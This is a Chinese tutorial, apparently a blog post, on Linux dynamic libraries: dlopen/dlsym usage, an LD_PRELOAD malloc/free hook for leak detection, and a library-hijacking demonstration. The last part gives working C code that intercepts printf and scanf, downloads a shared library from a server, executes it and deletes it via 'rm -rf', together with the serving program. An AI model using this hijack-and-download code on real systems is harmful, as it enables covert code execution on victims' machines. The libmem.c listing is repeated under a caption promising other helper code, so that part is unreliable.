- 如何使用动态链接库
Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):
1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLoadLibrary函数
//参数一filename是.so文件路径
//参数二flag指定解析符号的时间点等
//返回值是链接库的句柄 void *dlopen(const char *filename, int flag);
2.从句柄中获取函数符号加载的内存地址,通过调用dlsym函数返回函数地址,对应于windows下的GetProcAddress函数
//参数一handle是dlopen获得的句柄
//参数二symbol是函数符号
//返回值为函数加载在内存的地址 void *dlsym(void *handle, const char *symbol);
3.卸载链接库,通过调用dlclose函数释放资源,对应于windows下的AfxFreeLibrary函数
int dlclose(void *handle);
Linux下编写第一个动态链接库hello.so
1 #include <stdio.h> 2 3 void *hello(void *input) { 4 printf("hello from a .so\n"); 5 return NULL; 6 }
编译命令:
gcc -shared -fPIC hello.c -o hello.so
-shared 指定生成共享库
-fPIC 指定生成位置无关代码
动态加载hello.so的过程如下
1 #include <stdio.h> 2 #include <unistd.h> 3 #include <stdlib.h> 4 #include <dlfcn.h> 5 6 7 typedef void *(*FUNC)(void *); 8 9 void load_and_invoke(char *libname, char *funcname) { 10 11 FUNC func = NULL; 12 char *error = NULL; 13 void * handle = dlopen(libname,RTLD_LAZY); //加载链接库 14 15 if(!handle){ 16 fprintf(stderr,"%s\n",dlerror()); 17 exit(EXIT_FAILURE); 18 } 19 20 dlerror(); 21 22 *(void **)(&func) = dlsym(handle,funcname); //获取符号地址 23 24 if((error = dlerror()) != NULL){ 25 fprintf(stderr,"%s\n",error); 26 exit(EXIT_FAILURE); 27 } 28 29 func(NULL); //执行函数 30 31 dlclose(handle); //卸载链接库 32 exit(EXIT_FAILURE); 33 } 34 35 36 int main(int argc, char **argv) { 37 38 load_and_invoke("./hello.so", "hello"); 39 }
编译命令:
gcc main.c -o main -ldl
运行:
- 应用一 内存泄漏检测
动态链接库除了让程序更新方便,提高运行效率外,还可移使用dll注入的方式实现类似于valgrind的内存检测工具。
原理:通过注入的方式让用户程序调用的malloc,free等内存操作函数最终调用本程序实现的malloc与free函数,在自己实现的函数中记录用户每次对内存的申请与撤销操作,分析是否有内存泄露,具体原理参考codeproject上的一篇文章 C++ Memory Leak Finder
libmem.c实现malloc,free函数
1 #include <stdint.h> 2 #include <dlfcn.h> 3 #include <stdio.h> 4 #include <stdlib.h> 5 #include <execinfo.h> 6 7 8 9 //一些辅助函数,使用stl map记录内存申请与回收 10 int map_insert(void * pointer, char *module); 11 int map_remove(void * pointer); 12 int map_count(); 13 void map_dump(); 14 15 16 const static int max_frame_depth = 20; 17 static int mutex = 1; 18 19 //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用 20 __attribute__((constructor)) void init(void); 21 //指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用 22 __attribute__((destructor)) void deinit(void); 23 24 //GLIBC中的malloc函数 25 static void *(*sys_malloc)(size_t) = NULL; 26 //GLIBC中的free函数 27 static void (*sys_free)(void *) = NULL; 28 29 //链接库加载后,调用init获取malloc与free地址 30 void init(void){ 31 sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc"); 32 if(sys_malloc == NULL){ 33 fprintf(stderr,"failed to read malloc function;\n"); 34 exit(EXIT_FAILURE); 35 } 36 37 sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free")); 38 if(sys_free == NULL){ 39 fprintf(stderr,"failed to read free function;\n"); 40 exit(EXIT_FAILURE); 41 } 42 } 43 44 //链接库卸载前,打印内存申请与释放记录 45 void deinit(void){ 46 printf("%d unfreed allocations found\n",map_count()); 47 map_dump(); 48 } 49 50 51 void *malloc(size_t size){ 52 53 if(sys_malloc == NULL){ 54 init(); 55 } 56 57 void *ptr = sys_malloc(size); 58 59 //backtrace函数可能需要使用malloc函数,有可能造成循环调用, 60 //因此需要使用静态变量mutex防止死循环 61 if(mutex == 1){ 62 mutex = 0; 63 64 void *frames[max_frame_depth]; 65 //通过backtrace获取当前函数调用栈信息 66 size_t stack_size = backtrace(frames,max_frame_depth); 67 char ** stacktrace = backtrace_symbols(frames,stack_size); 68 69 //这里只记录了一帧信息 70 map_insert((void *) ptr,stacktrace[1]); 71 72 sys_free(stacktrace); 73 74 mutex = 1; 75 } 76 77 return ptr; 78 } 79 80 void free(void * ptr){ 81 if(sys_free == NULL){ 82 init(); 83 } 84 85 86 if(mutex == 1){ 87 mutex = 0; 88 89 if(map_remove((void *) ptr) == 1){ //double remove 90 sys_free((void *)ptr); 91 } 92 93 mutex = 1; 94 } 95 }
libmem.c中调用了记录内存分配回收信息的辅助函数
1 #include <stdint.h> 2 #include <dlfcn.h> 3 #include <stdio.h> 4 #include <stdlib.h> 5 #include <execinfo.h> 6 7 8 9 //一些辅助函数,使用stl map记录内存申请与回收 10 int map_insert(void * pointer, char *module); 11 int map_remove(void * pointer); 12 int map_count(); 13 void map_dump(); 14 15 16 const static int max_frame_depth = 20; 17 static int mutex = 1; 18 19 //指定__attribute__((constructor))保证init函数在链接库被加载内存后自动调用 20 __attribute__((constructor)) void init(void); 21 //指定__attribute__((destructor))保证deinit函数在链接库在卸载前自动调用 22 __attribute__((destructor)) void deinit(void); 23 24 //GLIBC中的malloc函数 25 static void *(*sys_malloc)(size_t) = NULL; 26 //GLIBC中的free函数 27 static void (*sys_free)(void *) = NULL; 28 29 //链接库加载后,调用init获取malloc与free地址 30 void init(void){ 31 sys_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT,"malloc"); 32 if(sys_malloc == NULL){ 33 fprintf(stderr,"failed to read malloc function;\n"); 34 exit(EXIT_FAILURE); 35 } 36 37 sys_free = (void (*)(void *))(dlsym(RTLD_NEXT,"free")); 38 if(sys_free == NULL){ 39 fprintf(stderr,"failed to read free function;\n"); 40 exit(EXIT_FAILURE); 41 } 42 } 43 44 //链接库卸载前,打印内存申请与释放记录 45 void deinit(void){ 46 printf("%d unfreed allocations found\n",map_count()); 47 map_dump(); 48 } 49 50 51 void *malloc(size_t size){ 52 53 if(sys_malloc == NULL){ 54 init(); 55 } 56 57 void *ptr = sys_malloc(size); 58 59 //backtrace函数可能需要使用malloc函数,有可能造成循环调用, 60 //因此需要使用静态变量mutex防止死循环 61 if(mutex == 1){ 62 mutex = 0; 63 64 void *frames[max_frame_depth]; 65 //通过backtrace获取当前函数调用栈信息 66 size_t stack_size = backtrace(frames,max_frame_depth); 67 char ** stacktrace = backtrace_symbols(frames,stack_size); 68 69 //这里只记录了一帧信息 70 map_insert((void *) ptr,stacktrace[1]); 71 72 sys_free(stacktrace); 73 74 mutex = 1; 75 } 76 77 return ptr; 78 } 79 80 void free(void * ptr){ 81 if(sys_free == NULL){ 82 init(); 83 } 84 85 86 if(mutex == 1){ 87 mutex = 0; 88 89 if(map_remove((void *) ptr) == 1){ //double remove 90 sys_free((void *)ptr); 91 } 92 93 mutex = 1; 94 } 95 }
把 libmem.c编译成动态链接库libmem.so,导出环境变量LD_PRELOAD=path/to/libmem.so,动态链接库的查找和加载 是由/lib/ldd.so实现,LD_PRELOAD路径中的库会在标准路径之前被查找到,这样任何使用malloc,free函数的程序都会调用 libmem.so中的malloc与free,从而实现内存泄漏的检测。关于LD_PRELOAD变量,可以查看警惕UNIX下的LD_PRELOAD环境变量 关于windows下dll搜索路径可以参考Dynamic-Link Library Search Order
为了测试,我们编写了一个存在内存泄漏的程序
编译与运行:
- 应用二 dll劫持漏洞
与内存检测程序原理类似,dll搜索路径的先后顺序如果不小心,很有可能被恶意利用。恶意程序要做的是编写一个与正常应用链接库文件名相同,实现同样的函数(函数名参数类型与个数相同)的链接库,把它放在当前路径或者进程路径等在优先级在正常dll之前的路径上,就可以让正常应用主动去执行一些恶意代码。
下面是通过劫持scanf,printf函数实现攻击的例子,正常的应用程序只要调用了scanf,printf,便会激活恶意代码.恶意代码连接服务器并下载真正危险的代码执行,而且恶意代码可以在执行后删除自己并完成用户正常的功能以达到隐藏自己的目的。
劫持GLIBC的printf与scanf的代码
1 #include <stdint.h> 2 #include <stdarg.h> 3 #include <string.h> 4 #include <stdlib.h> 5 #include <unistd.h> 6 #include <dlfcn.h> 7 #include <fcntl.h> 8 #include <sys/stat.h> 9 #include <sys/socket.h> 10 #include <arpa/inet.h> 11 12 13 static void (*sys_vprintf)(const char *format,...) = NULL; 14 static int (*sys_vscanf)(const char *format,...) = NULL; 15 static int count = 0; 16 17 #define MAXLINE 4096 18 19 static void init(void){ 20 sys_vprintf = (void (*)(const char *format,...))dlsym(RTLD_NEXT,"vprintf"); 21 if(sys_vprintf == NULL){ 22 exit(EXIT_FAILURE); 23 } 24 25 sys_vscanf = (int (*)(const char *format,...))dlsym(RTLD_NEXT,"vscanf"); 26 if(sys_vscanf == NULL){ 27 exit(EXIT_FAILURE); 28 } 29 } 30 31 32 static void deinit(void){ 33 ; 34 } 35 36 37 #define FILE_NAME "libexploit_download.so" 38 #define FUNC_NAME "exploit" 39 40 //执行从服务器下载的代码 41 void load_and_exec(char *libname,char *funcname){ 42 43 void *handle = dlopen(libname,RTLD_LAZY); 44 if(!handle){ 45 return; 46 } 47 48 void (*func)(void); 49 *(void ** )(&func) = dlsym(handle,funcname); 50 51 if(func == NULL){ 52 return; 53 } 54 55 func(); 56 57 dlclose(handle); 58 } 59 60 61 //删除下载的代码 62 void remove(char *filename){ 63 char buff[MAXLINE]; 64 strcpy(buff,"rm -rf "); 65 strcat(buff,filename); 66 system(buff); 67 } 68 69 //恶意程序客户端从服务器下载恶意代码并执行 70 static void client(){ 71 int sockfd,n; 72 char buff[MAXLINE + 1]; 73 struct sockaddr_in servaddr; 74 75 if((sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0){ 76 return; 77 } 78 79 bzero(&servaddr,sizeof(servaddr)); 80 servaddr.sin_family = AF_INET; 81 char *serv_addr = "127.0.0.1"; //服务器地址 82 char *serv_port = "1234"; //服务器端口 83 servaddr.sin_port = htons(atoi(serv_port)); 84 if(inet_pton(AF_INET,serv_addr,&servaddr.sin_addr) <= 0){ 85 return; 86 } 87 88 if(connect(sockfd,(struct sockaddr *)&servaddr,sizeof(servaddr)) < 0){ 89 return; 90 } 91 92 write(sockfd,"start",strlen("start")); 93 94 int fd = open(FILE_NAME,O_RDWR | O_CREAT | O_EXCL,S_IRUSR | S_IWUSR); 95 if(fd == -1){ 96 return; 97 } 98 99 int nRead; 100 while((nRead = read(sockfd,buff,MAXLINE)) != 0){ 101 write(fd,buff,nRead); 102 } 103 close(fd); 104 close(sockfd); 105 106 load_and_exec(FILE_NAME,FUNC_NAME); 107 108 remove(FILE_NAME); 109 exit(0); 110 } 111 112 void printf(const char *fmt,...){ 113 if(sys_vprintf == NULL){ 114 init(); 115 } 116 117 118 client(); //恶意代码开始执行与服务器通信 119 120 char buff[MAXLINE]; 121 122 va_list vl; 123 va_start(vl,fmt); 124 sys_vprintf(fmt,vl); 125 va_end(vl); 126 } 127 128 int scanf(const char *fmt,...){ 129 if(sys_vscanf == NULL){ 130 init(); 131 } 132 133 client(); 134 135 va_list vl; 136 va_start(vl,fmt); 137 int cnt = sys_vscanf(fmt,vl); 138 va_end(vl); 139 return cnt; 140 }
被攻击的代码示例
1 #include <stdio.h> 2 3 #define MAXLINE 4096 4 5 int 6 main() 7 { 8 char buff[MAXLINE]; 9 10 while(scanf("%s",buff) != 0){ 11 printf("you've typed : %s\n",buff); 12 } 13 }
编译过程:
服务器端代码server.c
1 #include <stdio.h> 2 #include <unistd.h> 3 #include <stdlib.h> 4 #include <string.h> 5 #include <sys/socket.h> 6 #include <arpa/inet.h> 7 8 9 10 #define MAXLINE 4096 11 #define LISTENQ 1024 12 13 14 void serve(int port,char *filename) { 15 16 int listenfd,connfd; 17 struct sockaddr_in servaddr; 18 char buff[MAXLINE]; 19 char outBuff[MAXLINE]; 20 21 22 listenfd = socket(AF_INET,SOCK_STREAM,0); 23 if(listenfd < 0){ 24 return; 25 } 26 27 bzero(&servaddr,sizeof(servaddr)); 28 servaddr.sin_family = AF_INET; 29 servaddr.sin_addr.s_addr = htonl(INADDR_ANY); 30 servaddr.sin_port = htons(port); 31 32 if(bind(listenfd,(struct sockaddr *)&servaddr,sizeof(struct sockaddr)) < 0){ 33 return; 34 } 35 36 if((listen(listenfd,LISTENQ)) < 0){ 37 return; 38 } 39 40 for(;;){ 41 if((connfd = accept(listenfd,(struct sockaddr *)NULL,NULL)) < 0){ 42 continue; 43 } 44 45 int n = read(connfd,buff,MAXLINE); 46 buff[n] = '\0'; 47 48 if(strcmp(buff,"start") == 0){ 49 printf("ready...\n"); 50 FILE *fp = fopen(filename,"r"); 51 if(fp == NULL){ 52 fprintf(stderr,"file open error\n"); 53 } 54 55 while((n = fread(buff,1,MAXLINE,fp)) != 0){ 56 if(write(connfd,buff,n) != n){ 57 fprintf(stderr,"write error\n"); 58 } 59 } 60 } 61 62 if(close(connfd) == -1){ 63 return; 64 } 65 exit(0); 66 } 67 68 } 69 70 int main(int argc, char **argv) { 71 72 int port = 1234; 73 char *filename = "./libexploit.so"; 74 75 serve(port,filename); 76 77 exit(0); 78 }
真正执行攻击的代码:
1 #include <stdio.h> 2 #include <string.h> 3 4 void exploit() { 5 const char* msg = "you have been hacked\n"; 6 fwrite(msg, sizeof(char), strlen(msg), stdout); 7 }
编译服务端代码:
最后效果: